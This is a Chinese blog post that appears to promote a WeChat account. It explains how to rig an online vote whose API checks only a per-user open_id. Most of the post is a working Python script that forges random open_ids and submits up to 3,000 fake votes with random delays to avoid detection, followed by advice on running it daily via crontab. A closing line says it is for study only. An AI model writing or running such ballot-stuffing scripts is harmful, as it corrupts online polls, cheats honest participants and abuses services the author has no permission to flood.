
请关注微信公众号“杂谈集”
微信朋友圈有朋友求投票,每天可重复投三次。
研究其源码,发现其既无验证,亦无加密算法,只是针对open_id投票计数,做了三次限制。其通过post方式发送json数据,数据合法,则投票成功。
用python随机生成open_id,用requests库post数据,其主要代码如下:
# encoding: utf-8
import requests
import string
import sys
import random,time
for c in range(1000): #r循环1000次
#存储大小写字母和数字,特殊字符列表
STR = [chr(i) for i in range(65,91)] #65-91对应字符A-Z
str = [chr(i) for i in range(97,123)] #a-z
number = [chr(i) for i in range(48,58)] #0-9
total = STR + str + number
open_id='oB4nYj'+''.join(random.sample(total,22))
for d in range(3):
t=random.randint(1,4)
print(t)
time.sleep(t)
data = {"id": "xxx","company_id": "8","activity_id": "1","open_id":open_id}
rep=requests.post(url='http://hxvote.XXX.net/api/vote',data=data)
print(rep.text)
以上代码,域名作了XX处理。可上传至装有python3.7环境的linux服务器端,通过tmux保持会话,并可通过crontab每日执行。
很多第三方投票网页,原理类似,或者有些对js源码进行了加密,或者对某个字段加上了算法,或有防机器验证, 但基本上都是基于post方式提交数据。
以上,谨作学习研究用,请勿用作非法用途。